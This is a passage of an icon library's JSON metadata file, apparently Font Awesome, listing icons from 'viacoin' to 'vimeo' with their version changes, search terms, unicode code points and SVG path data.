255.5c-4.7 4.7-4.7 12.3 0 17L79 288 63.5 303.5c-4.7 4.7-4.7 12.3 0 17s12.3 4.7 17 0L96 305l15.5 15.5c4.7 4.7 12.3 4.7 17 0s4.7-12.3 0-17L113 288l15.5-15.5c4.7-4.7 4.7-12.3 0-17s-12.3-4.7-17 0L96 271 80.5 255.5c-4.7-4.7-12.3-4.7-17 0zM304 280v8 32c0 8.8 7.2 16 16 16h32 8c13.3 0 24-10.7 24-24s-10.7-24-24-24h-8v-8c0-13.3-10.7-24-24-24s-24 10.7-24 24z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M151.2 69.7l55.9 167.7-11 33.1c-2.7 8.2-4.1 16.7-4.1 25.3V464c0 14.5 3.9 28.2 10.7 39.9C195 509 185.9 512 176 512H48c-26.5 0-48-21.5-48-48V270.5c0-9.5 2.8-18.7 8.1-26.6l47.9-71.8c5.3-7.9 8.1-17.1 8.1-26.6V128 54.3 48C64 21.5 85.5 0 112 0h4.5c.2 0 .4 0 .6 0c.4 0 .8 0 1.2 0c18.8 0 34.1 9.7 44.1 18.8C171.6 27.2 190.8 40 224 40s52.4-12.8 61.7-21.2C295.7 9.7 311 0 329.7 0c.4 0 .8 0 1.2 0c.2 0 .4 0 .6 0H336c26.5 0 48 21.5 48 48v6.3V128v17.5c0 9.5 2.8 18.7 8.1 26.6l47.9 71.8c5.3 7.9 8.1 17.1 8.1 26.6V464c0 26.5-21.5 48-48 48H272c-26.5 0-48-21.5-48-48V295.8c0-5.2 .8-10.3 2.5-15.2L296.8 69.7C279.4 79.7 255.4 88 224 88s-55.4-8.3-72.8-18.3zM96 456a40 40 0 1 0 0-80 40 40 0 1 0 0 80zM63.5 255.5c-4.7 4.7-4.7 12.3 0 17L79 288 63.5 303.5c-4.7 4.7-4.7 12.3 0 17s12.3 4.7 17 0L96 305l15.5 15.5c4.7 4.7 12.3 4.7 17 0s4.7-12.3 0-17L113 288l15.5-15.5c4.7-4.7 4.7-12.3 0-17s-12.3-4.7-17 0L96 271 80.5 255.5c-4.7-4.7-12.3-4.7-17 0zM304 280v8 32c0 8.8 7.2 16 16 16h32 8c13.3 0 24-10.7 24-24s-10.7-24-24-24h-8v-8c0-13.3-10.7-24-24-24s-24 10.7-24 24z"
      }
    },
    "free": ["solid"]
  },
  "viacoin": {
    "changes": ["4.3.0", "5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f237",
    "label": "Viacoin",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014459,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M384 32h-64l-80.7 192h-94.5L64 32H0l48 112H0v48h68.5l13.8 32H0v48h102.8L192 480l89.2-208H384v-48h-82.3l13.8-32H384v-48h-48l48-112zM192 336l-27-64h54l-27 64z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M384 32h-64l-80.7 192h-94.5L64 32H0l48 112H0v48h68.5l13.8 32H0v48h102.8L192 480l89.2-208H384v-48h-82.3l13.8-32H384v-48h-48l48-112zM192 336l-27-64h54l-27 64z"
      }
    },
    "free": ["brands"]
  },
  "viadeo": {
    "changes": ["4.6.0", "5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f2a9",
    "label": "Viadeo",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014465,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M276.2 150.5v.7C258.3 98.6 233.6 47.8 205.4 0c43.3 29.2 67 100 70.8 150.5zm32.7 121.7c7.6 18.2 11 37.5 11 57 0 77.7-57.8 141-137.8 139.4l3.8-.3c74.2-46.7 109.3-118.6 109.3-205.1 0-38.1-6.5-75.9-18.9-112 1 11.7 1 23.7 1 35.4 0 91.8-18.1 241.6-116.6 280C95 455.2 49.4 398 49.4 329.2c0-75.6 57.4-142.3 135.4-142.3 16.8 0 33.7 3.1 49.1 9.6 1.7-15.1 6.5-29.9 13.4-43.3-19.9-7.2-41.2-10.7-62.5-10.7-161.5 0-238.7 195.9-129.9 313.7 67.9 74.6 192 73.9 259.8 0 56.6-61.3 60.9-142.4 36.4-201-12.7 8-27.1 13.9-42.2 17zM418.1 11.7c-31 66.5-81.3 47.2-115.8 80.1-12.4 12-20.6 34-20.6 50.5 0 14.1 4.5 27.1 12 38.8 47.4-11 98.3-46 118.2-90.7-.7 5.5-4.8 14.4-7.2 19.2-20.3 35.7-64.6 65.6-99.7 84.9 14.8 14.4 33.7 25.8 55 25.8 79 0 110.1-134.6 58.1-208.6z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M276.2 150.5v.7C258.3 98.6 233.6 47.8 205.4 0c43.3 29.2 67 100 70.8 150.5zm32.7 121.7c7.6 18.2 11 37.5 11 57 0 77.7-57.8 141-137.8 139.4l3.8-.3c74.2-46.7 109.3-118.6 109.3-205.1 0-38.1-6.5-75.9-18.9-112 1 11.7 1 23.7 1 35.4 0 91.8-18.1 241.6-116.6 280C95 455.2 49.4 398 49.4 329.2c0-75.6 57.4-142.3 135.4-142.3 16.8 0 33.7 3.1 49.1 9.6 1.7-15.1 6.5-29.9 13.4-43.3-19.9-7.2-41.2-10.7-62.5-10.7-161.5 0-238.7 195.9-129.9 313.7 67.9 74.6 192 73.9 259.8 0 56.6-61.3 60.9-142.4 36.4-201-12.7 8-27.1 13.9-42.2 17zM418.1 11.7c-31 66.5-81.3 47.2-115.8 80.1-12.4 12-20.6 34-20.6 50.5 0 14.1 4.5 27.1 12 38.8 47.4-11 98.3-46 118.2-90.7-.7 5.5-4.8 14.4-7.2 19.2-20.3 35.7-64.6 65.6-99.7 84.9 14.8 14.4 33.7 25.8 55 25.8 79 0 110.1-134.6 58.1-208.6z"
      }
    },
    "free": ["brands"]
  },
  "vial": {
    "aliases": {
      "unicodes": {
        "composite": ["1f9ea"],
        "secondary": ["10f492"]
      }
    },
    "changes": ["5.0.7", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "ampule",
        "chemist",
        "chemistry",
        "experiment",
        "lab",
        "sample",
        "science",
        "test",
        "test tube"
      ]
    },
    "styles": ["solid"],
    "unicode": "f492",
    "label": "Vial",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766751,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M342.6 9.4c-12.5-12.5-32.8-12.5-45.3 0s-12.5 32.8 0 45.3l9.4 9.4L28.1 342.6C10.1 360.6 0 385 0 410.5V416c0 53 43 96 96 96h5.5c25.5 0 49.9-10.1 67.9-28.1L448 205.3l9.4 9.4c12.5 12.5 32.8 12.5 45.3 0s12.5-32.8 0-45.3l-32-32-96-96-32-32zM205.3 256L352 109.3 402.7 160l-96 96H205.3z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M342.6 9.4c-12.5-12.5-32.8-12.5-45.3 0s-12.5 32.8 0 45.3l9.4 9.4L28.1 342.6C10.1 360.6 0 385 0 410.5V416c0 53 43 96 96 96h5.5c25.5 0 49.9-10.1 67.9-28.1L448 205.3l9.4 9.4c12.5 12.5 32.8 12.5 45.3 0s12.5-32.8 0-45.3l-32-32-96-96-32-32zM205.3 256L352 109.3 402.7 160l-96 96H205.3z"
      }
    },
    "free": ["solid"]
  },
  "vial-circle-check": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "ampule",
        "chemist",
        "chemistry",
        "not affected",
        "ok",
        "okay",
        "success",
        "test tube",
        "tube",
        "vaccine"
      ]
    },
    "styles": ["solid"],
    "unicode": "e596",
    "label": "Vial Circle Check",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766750,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M0 64C0 46.3 14.3 32 32 32H96h64 64c17.7 0 32 14.3 32 32s-14.3 32-32 32V266.8c-20.2 28.6-32 63.5-32 101.2c0 25.2 5.3 49.1 14.8 70.8C189.5 463.7 160.6 480 128 480c-53 0-96-43-96-96V96C14.3 96 0 81.7 0 64zM96 96v96h64V96H96zM224 368a144 144 0 1 1 288 0 144 144 0 1 1 -288 0zm211.3-43.3c-6.2-6.2-16.4-6.2-22.6 0L352 385.4l-28.7-28.7c-6.2-6.2-16.4-6.2-22.6 0s-6.2 16.4 0 22.6l40 40c6.2 6.2 16.4 6.2 22.6 0l72-72c6.2-6.2 6.2-16.4 0-22.6z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M0 64C0 46.3 14.3 32 32 32H96h64 64c17.7 0 32 14.3 32 32s-14.3 32-32 32V266.8c-20.2 28.6-32 63.5-32 101.2c0 25.2 5.3 49.1 14.8 70.8C189.5 463.7 160.6 480 128 480c-53 0-96-43-96-96V96C14.3 96 0 81.7 0 64zM96 96v96h64V96H96zM224 368a144 144 0 1 1 288 0 144 144 0 1 1 -288 0zm211.3-43.3c-6.2-6.2-16.4-6.2-22.6 0L352 385.4l-28.7-28.7c-6.2-6.2-16.4-6.2-22.6 0s-6.2 16.4 0 22.6l40 40c6.2 6.2 16.4 6.2 22.6 0l72-72c6.2-6.2 6.2-16.4 0-22.6z"
      }
    },
    "free": ["solid"]
  },
  "vial-virus": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "ampule",
        "coronavirus",
        "covid-19",
        "flue",
        "infection",
        "lab",
        "laboratory",
        "pandemic",
        "test",
        "test tube",
        "vaccine"
      ]
    },
    "styles": ["solid"],
    "unicode": "e597",
    "label": "Vial Virus",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766751,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M32 32C14.3 32 0 46.3 0 64S14.3 96 32 96V384c0 53 43 96 96 96c28.6 0 54.2-12.5 71.8-32.3c.1-14.2 5.6-28.3 16.4-39.1c.2-.2 .1-.6-.2-.6c-30.9 0-56-25.1-56-56s25.1-56 56-56c.3 0 .4-.4 .2-.6c-21.9-21.9-21.9-57.3 0-79.2c2.4-2.4 5-4.6 7.8-6.5V96c17.7 0 32-14.3 32-32s-14.3-32-32-32H160 96 32zM96 192V96h64v96H96zM216 376c28.8 0 43.2 34.8 22.9 55.2c-9.4 9.4-9.4 24.6 0 33.9s24.6 9.4 33.9 0c20.4-20.4 55.2-5.9 55.2 22.9c0 13.3 10.7 24 24 24s24-10.7 24-24c0-28.8 34.8-43.2 55.2-22.9c9.4 9.4 24.6 9.4 33.9 0s9.4-24.6 0-33.9C444.8 410.8 459.2 376 488 376c13.3 0 24-10.7 24-24s-10.7-24-24-24c-28.8 0-43.2-34.8-22.9-55.2c9.4-9.4 9.4-24.6 0-33.9s-24.6-9.4-33.9 0C410.8 259.2 376 244.8 376 216c0-13.3-10.7-24-24-24s-24 10.7-24 24c0 28.8-34.8 43.2-55.2 22.9c-9.4-9.4-24.6-9.4-33.9 0s-9.4 24.6 0 33.9c20.4 20.4 5.9 55.2-22.9 55.2c-13.3 0-24 10.7-24 24s10.7 24 24 24zm104-88a32 32 0 1 1 0 64 32 32 0 1 1 0-64zm40 96a24 24 0 1 1 48 0 24 24 0 1 1 -48 0z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M32 32C14.3 32 0 46.3 0 64S14.3 96 32 96V384c0 53 43 96 96 96c28.6 0 54.2-12.5 71.8-32.3c.1-14.2 5.6-28.3 16.4-39.1c.2-.2 .1-.6-.2-.6c-30.9 0-56-25.1-56-56s25.1-56 56-56c.3 0 .4-.4 .2-.6c-21.9-21.9-21.9-57.3 0-79.2c2.4-2.4 5-4.6 7.8-6.5V96c17.7 0 32-14.3 32-32s-14.3-32-32-32H160 96 32zM96 192V96h64v96H96zM216 376c28.8 0 43.2 34.8 22.9 55.2c-9.4 9.4-9.4 24.6 0 33.9s24.6 9.4 33.9 0c20.4-20.4 55.2-5.9 55.2 22.9c0 13.3 10.7 24 24 24s24-10.7 24-24c0-28.8 34.8-43.2 55.2-22.9c9.4 9.4 24.6 9.4 33.9 0s9.4-24.6 0-33.9C444.8 410.8 459.2 376 488 376c13.3 0 24-10.7 24-24s-10.7-24-24-24c-28.8 0-43.2-34.8-22.9-55.2c9.4-9.4 9.4-24.6 0-33.9s-24.6-9.4-33.9 0C410.8 259.2 376 244.8 376 216c0-13.3-10.7-24-24-24s-24 10.7-24 24c0 28.8-34.8 43.2-55.2 22.9c-9.4-9.4-24.6-9.4-33.9 0s-9.4 24.6 0 33.9c20.4 20.4 5.9 55.2-22.9 55.2c-13.3 0-24 10.7-24 24s10.7 24 24 24zm104-88a32 32 0 1 1 0 64 32 32 0 1 1 0-64zm40 96a24 24 0 1 1 48 0 24 24 0 1 1 -48 0z"
      }
    },
    "free": ["solid"]
  },
  "vials": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f493"]
      }
    },
    "changes": ["5.0.7", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "ampule",
        "experiment",
        "lab",
        "sample",
        "science",
        "test",
        "test tube"
      ]
    },
    "styles": ["solid"],
    "unicode": "f493",
    "label": "Vials",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766750,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M0 64C0 46.3 14.3 32 32 32H88h48 56c17.7 0 32 14.3 32 32s-14.3 32-32 32V400c0 44.2-35.8 80-80 80s-80-35.8-80-80V96C14.3 96 0 81.7 0 64zM136 96H88V256h48V96zM288 64c0-17.7 14.3-32 32-32h56 48 56c17.7 0 32 14.3 32 32s-14.3 32-32 32V400c0 44.2-35.8 80-80 80s-80-35.8-80-80V96c-17.7 0-32-14.3-32-32zM424 96H376V256h48V96z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M0 64C0 46.3 14.3 32 32 32H88h48 56c17.7 0 32 14.3 32 32s-14.3 32-32 32V400c0 44.2-35.8 80-80 80s-80-35.8-80-80V96C14.3 96 0 81.7 0 64zM136 96H88V256h48V96zM288 64c0-17.7 14.3-32 32-32h56 48 56c17.7 0 32 14.3 32 32s-14.3 32-32 32V400c0 44.2-35.8 80-80 80s-80-35.8-80-80V96c-17.7 0-32-14.3-32-32zM424 96H376V256h48V96z"
      }
    },
    "free": ["solid"]
  },
  "viber": {
    "changes": ["5.0.0", "5.0.3"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f409",
    "label": "Viber",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014468,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M444 49.9C431.3 38.2 379.9.9 265.3.4c0 0-135.1-8.1-200.9 52.3C27.8 89.3 14.9 143 13.5 209.5c-1.4 66.5-3.1 191.1 117 224.9h.1l-.1 51.6s-.8 20.9 13 25.1c16.6 5.2 26.4-10.7 42.3-27.8 8.7-9.4 20.7-23.2 29.8-33.7 82.2 6.9 145.3-8.9 152.5-11.2 16.6-5.4 110.5-17.4 125.7-142 15.8-128.6-7.6-209.8-49.8-246.5zM457.9 287c-12.9 104-89 110.6-103 115.1-6 1.9-61.5 15.7-131.2 11.2 0 0-52 62.7-68.2 79-5.3 5.3-11.1 4.8-11-5.7 0-6.9.4-85.7.4-85.7-.1 0-.1 0 0 0-101.8-28.2-95.8-134.3-94.7-189.8 1.1-55.5 11.6-101 42.6-131.6 55.7-50.5 170.4-43 170.4-43 96.9.4 143.3 29.6 154.1 39.4 35.7 30.6 53.9 103.8 40.6 211.1zm-139-80.8c.4 8.6-12.5 9.2-12.9.6-1.1-22-11.4-32.7-32.6-33.9-8.6-.5-7.8-13.4.7-12.9 27.9 1.5 43.4 17.5 44.8 46.2zm20.3 11.3c1-42.4-25.5-75.6-75.8-79.3-8.5-.6-7.6-13.5.9-12.9 58 4.2 88.9 44.1 87.8 92.5-.1 8.6-13.1 8.2-12.9-.3zm47 13.4c.1 8.6-12.9 8.7-12.9.1-.6-81.5-54.9-125.9-120.8-126.4-8.5-.1-8.5-12.9 0-12.9 73.7.5 133 51.4 133.7 139.2zM374.9 329v.2c-10.8 19-31 40-51.8 33.3l-.2-.3c-21.1-5.9-70.8-31.5-102.2-56.5-16.2-12.8-31-27.9-42.4-42.4-10.3-12.9-20.7-28.2-30.8-46.6-21.3-38.5-26-55.7-26-55.7-6.7-20.8 14.2-41 33.3-51.8h.2c9.2-4.8 18-3.2 23.9 3.9 0 0 12.4 14.8 17.7 22.1 5 6.8 11.7 17.7 15.2 23.8 6.1 10.9 2.3 22-3.7 26.6l-12 9.6c-6.1 4.9-5.3 14-5.3 14s17.8 67.3 84.3 84.3c0 0 9.1.8 14-5.3l9.6-12c4.6-6 15.7-9.8 26.6-3.7 14.7 8.3 33.4 21.2 45.8 32.9 7 5.7 8.6 14.4 3.8 23.6z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M444 49.9C431.3 38.2 379.9.9 265.3.4c0 0-135.1-8.1-200.9 52.3C27.8 89.3 14.9 143 13.5 209.5c-1.4 66.5-3.1 191.1 117 224.9h.1l-.1 51.6s-.8 20.9 13 25.1c16.6 5.2 26.4-10.7 42.3-27.8 8.7-9.4 20.7-23.2 29.8-33.7 82.2 6.9 145.3-8.9 152.5-11.2 16.6-5.4 110.5-17.4 125.7-142 15.8-128.6-7.6-209.8-49.8-246.5zM457.9 287c-12.9 104-89 110.6-103 115.1-6 1.9-61.5 15.7-131.2 11.2 0 0-52 62.7-68.2 79-5.3 5.3-11.1 4.8-11-5.7 0-6.9.4-85.7.4-85.7-.1 0-.1 0 0 0-101.8-28.2-95.8-134.3-94.7-189.8 1.1-55.5 11.6-101 42.6-131.6 55.7-50.5 170.4-43 170.4-43 96.9.4 143.3 29.6 154.1 39.4 35.7 30.6 53.9 103.8 40.6 211.1zm-139-80.8c.4 8.6-12.5 9.2-12.9.6-1.1-22-11.4-32.7-32.6-33.9-8.6-.5-7.8-13.4.7-12.9 27.9 1.5 43.4 17.5 44.8 46.2zm20.3 11.3c1-42.4-25.5-75.6-75.8-79.3-8.5-.6-7.6-13.5.9-12.9 58 4.2 88.9 44.1 87.8 92.5-.1 8.6-13.1 8.2-12.9-.3zm47 13.4c.1 8.6-12.9 8.7-12.9.1-.6-81.5-54.9-125.9-120.8-126.4-8.5-.1-8.5-12.9 0-12.9 73.7.5 133 51.4 133.7 139.2zM374.9 329v.2c-10.8 19-31 40-51.8 33.3l-.2-.3c-21.1-5.9-70.8-31.5-102.2-56.5-16.2-12.8-31-27.9-42.4-42.4-10.3-12.9-20.7-28.2-30.8-46.6-21.3-38.5-26-55.7-26-55.7-6.7-20.8 14.2-41 33.3-51.8h.2c9.2-4.8 18-3.2 23.9 3.9 0 0 12.4 14.8 17.7 22.1 5 6.8 11.7 17.7 15.2 23.8 6.1 10.9 2.3 22-3.7 26.6l-12 9.6c-6.1 4.9-5.3 14-5.3 14s17.8 67.3 84.3 84.3c0 0 9.1.8 14-5.3l9.6-12c4.6-6 15.7-9.8 26.6-3.7 14.7 8.3 33.4 21.2 45.8 32.9 7 5.7 8.6 14.4 3.8 23.6z"
      }
    },
    "free": ["brands"]
  },
  "video": {
    "aliases": {
      "names": ["video-camera"],
      "unicodes": {
        "secondary": ["10f03d"]
      }
    },
    "changes": [
      "1.0.0",
      "5.0.0",
      "5.0.9",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["camera", "film", "movie", "record", "video-camera"]
    },
    "styles": ["solid"],
    "unicode": "f03d",
    "label": "Video",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767341,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M0 128C0 92.7 28.7 64 64 64H320c35.3 0 64 28.7 64 64V384c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V128zM559.1 99.8c10.4 5.6 16.9 16.4 16.9 28.2V384c0 11.8-6.5 22.6-16.9 28.2s-23 5-32.9-1.6l-96-64L416 337.1V320 192 174.9l14.2-9.5 96-64c9.8-6.5 22.4-7.2 32.9-1.6z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M0 128C0 92.7 28.7 64 64 64H320c35.3 0 64 28.7 64 64V384c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V128zM559.1 99.8c10.4 5.6 16.9 16.4 16.9 28.2V384c0 11.8-6.5 22.6-16.9 28.2s-23 5-32.9-1.6l-96-64L416 337.1V320 192 174.9l14.2-9.5 96-64c9.8-6.5 22.4-7.2 32.9-1.6z"
      }
    },
    "free": ["solid"]
  },
  "video-slash": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f4e2"]
      }
    },
    "changes": ["5.0.9", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["add", "create", "film", "new", "positive", "record", "video"]
    },
    "styles": ["solid"],
    "unicode": "f4e2",
    "label": "Video Slash",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767341,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M38.8 5.1C28.4-3.1 13.3-1.2 5.1 9.2S-1.2 34.7 9.2 42.9l592 464c10.4 8.2 25.5 6.3 33.7-4.1s6.3-25.5-4.1-33.7l-86.4-67.7 13.8 9.2c9.8 6.5 22.4 7.2 32.9 1.6s16.9-16.4 16.9-28.2V128c0-11.8-6.5-22.6-16.9-28.2s-23-5-32.9 1.6l-96 64L448 174.9V192 320v5.8l-32-25.1V128c0-35.3-28.7-64-64-64H113.9L38.8 5.1zM407 416.7L32.3 121.5c-.2 2.1-.3 4.3-.3 6.5V384c0 35.3 28.7 64 64 64H352c23.4 0 43.9-12.6 55-31.3z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M38.8 5.1C28.4-3.1 13.3-1.2 5.1 9.2S-1.2 34.7 9.2 42.9l592 464c10.4 8.2 25.5 6.3 33.7-4.1s6.3-25.5-4.1-33.7l-86.4-67.7 13.8 9.2c9.8 6.5 22.4 7.2 32.9 1.6s16.9-16.4 16.9-28.2V128c0-11.8-6.5-22.6-16.9-28.2s-23-5-32.9 1.6l-96 64L448 174.9V192 320v5.8l-32-25.1V128c0-35.3-28.7-64-64-64H113.9L38.8 5.1zM407 416.7L32.3 121.5c-.2 2.1-.3 4.3-.3 6.5V384c0 35.3 28.7 64 64 64H352c23.4 0 43.9-12.6 55-31.3z"
      }
    },
    "free": ["solid"]
  },
  "vihara": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f6a7"]
      }
    },
    "changes": [
      "5.3.0",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["buddhism", "buddhist", "building", "monastery"]
    },
    "styles": ["solid"],
    "unicode": "f6a7",
    "label": "Vihara",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766827,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M281 22L305.8 4.7c1.3-.9 2.7-1.8 4.1-2.4C313.1 .7 316.6 0 320 0s6.9 .7 10.1 2.2c1.4 .7 2.8 1.5 4.1 2.4L359 22C393 45.8 430.8 63.5 470.8 74.4l23 6.3c1.8 .5 3.6 1.1 5.2 2c3.2 1.7 5.9 4 8.1 6.8c3.8 4.9 5.6 11.3 4.7 17.8c-.4 2.8-1.2 5.4-2.5 7.8c-1.7 3.2-4 5.9-6.8 8.1c-4.3 3.2-9.6 5.1-15.1 4.9H480v56.1l6.4 5.1 5.2 4.1c21.1 16.7 45 29.6 70.5 38.1l28.9 9.6c1.6 .5 3.2 1.2 4.6 2c3.1 1.7 5.8 4.1 7.8 6.9s3.5 6.1 4.1 9.6c.5 2.7 .6 5.5 .1 8.3s-1.4 5.4-2.7 7.8c-1.7 3.1-4.1 5.8-6.9 7.8s-6.1 3.5-9.6 4.1c-1.6 .3-3.3 .4-5 .4H544v65.9c20.5 22.8 47.4 39.2 77.4 46.7C632 403 640 412.6 640 424c0 13.3-10.7 24-24 24H576v32c0 17.7-14.3 32-32 32s-32-14.3-32-32V448H352v32c0 17.7-14.3 32-32 32s-32-14.3-32-32V448H128v32c0 17.7-14.3 32-32 32s-32-14.3-32-32V448H24c-13.3 0-24-10.7-24-24c0-11.4 8-21 18.6-23.4c30-7.6 56.9-23.9 77.4-46.7V288H56.6c-1.7 0-3.4-.1-5-.4c-3.5-.7-6.8-2.1-9.6-4.1s-5.2-4.7-7-7.8c-1.3-2.4-2.3-5-2.7-7.8s-.4-5.6 .1-8.3c.7-3.5 2.1-6.8 4.1-9.6s4.7-5.2 7.8-6.9c1.4-.8 3-1.5 4.6-2l28.9-9.6c25.5-8.5 49.4-21.4 70.5-38.1l5.2-4.1 6.4-5.1V176 128h-7.5c-5.5 .1-10.8-1.7-15.1-4.9c-2.8-2.1-5.1-4.8-6.8-8.1c-1.2-2.4-2.1-5-2.5-7.8c-.9-6.5 .9-12.8 4.7-17.8c2.1-2.8 4.8-5.1 8.1-6.8c1.6-.8 3.4-1.5 5.2-2l23-6.3C209.2 63.5 247 45.8 281 22zM416 128H320 224v64h72 48 72V128zM160 288v64H296h24 24H480V288H344 320h0H296 160z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M281 22L305.8 4.7c1.3-.9 2.7-1.8 4.1-2.4C313.1 .7 316.6 0 320 0s6.9 .7 10.1 2.2c1.4 .7 2.8 1.5 4.1 2.4L359 22C393 45.8 430.8 63.5 470.8 74.4l23 6.3c1.8 .5 3.6 1.1 5.2 2c3.2 1.7 5.9 4 8.1 6.8c3.8 4.9 5.6 11.3 4.7 17.8c-.4 2.8-1.2 5.4-2.5 7.8c-1.7 3.2-4 5.9-6.8 8.1c-4.3 3.2-9.6 5.1-15.1 4.9H480v56.1l6.4 5.1 5.2 4.1c21.1 16.7 45 29.6 70.5 38.1l28.9 9.6c1.6 .5 3.2 1.2 4.6 2c3.1 1.7 5.8 4.1 7.8 6.9s3.5 6.1 4.1 9.6c.5 2.7 .6 5.5 .1 8.3s-1.4 5.4-2.7 7.8c-1.7 3.1-4.1 5.8-6.9 7.8s-6.1 3.5-9.6 4.1c-1.6 .3-3.3 .4-5 .4H544v65.9c20.5 22.8 47.4 39.2 77.4 46.7C632 403 640 412.6 640 424c0 13.3-10.7 24-24 24H576v32c0 17.7-14.3 32-32 32s-32-14.3-32-32V448H352v32c0 17.7-14.3 32-32 32s-32-14.3-32-32V448H128v32c0 17.7-14.3 32-32 32s-32-14.3-32-32V448H24c-13.3 0-24-10.7-24-24c0-11.4 8-21 18.6-23.4c30-7.6 56.9-23.9 77.4-46.7V288H56.6c-1.7 0-3.4-.1-5-.4c-3.5-.7-6.8-2.1-9.6-4.1s-5.2-4.7-7-7.8c-1.3-2.4-2.3-5-2.7-7.8s-.4-5.6 .1-8.3c.7-3.5 2.1-6.8 4.1-9.6s4.7-5.2 7.8-6.9c1.4-.8 3-1.5 4.6-2l28.9-9.6c25.5-8.5 49.4-21.4 70.5-38.1l5.2-4.1 6.4-5.1V176 128h-7.5c-5.5 .1-10.8-1.7-15.1-4.9c-2.8-2.1-5.1-4.8-6.8-8.1c-1.2-2.4-2.1-5-2.5-7.8c-.9-6.5 .9-12.8 4.7-17.8c2.1-2.8 4.8-5.1 8.1-6.8c1.6-.8 3.4-1.5 5.2-2l23-6.3C209.2 63.5 247 45.8 281 22zM416 128H320 224v64h72 48 72V128zM160 288v64H296h24 24H480V288H344 320h0H296 160z"
      }
    },
    "free": ["solid"]
  },
  "vimeo": {
    "changes": ["5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f40a",
    "label": "Vimeo",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014466,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M403.2 32H44.8C20.1 32 0 52.1 0 76.8v358.4C0 459.9 20.1 480 44.8 480h358.4c24.7 0 44.8-20.1 44.8-44.8V76.8c0-24.7-20.1-44.8-44.8-44.8zM377 180.8c-1.4 31.5-23.4 74.7-66 129.4-44 57.2-81.3 85.8-111.7 85.8-18.9 0-34.8-17.4-47.9-52.3-25.5-93.3-36.4-148-57.4-148-2.4 0-10.9 5.1-25.4 15.2l-15.2-19.6c37.3-32.8 72.9-69.2 95.2-71.2 25.2-2.4 40.7 14.8 46.5 51.7 20.7 131.2 29.9 151 67.6 91.6 13.5-21.4 20.8-37.7 21.8-48.9 3.5-33.2-25.9-30.9-45.8-22.4 15.9-52.1 46.3-77.4 91.2-76 33.3.9 49 22.5 47.1 64.7z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
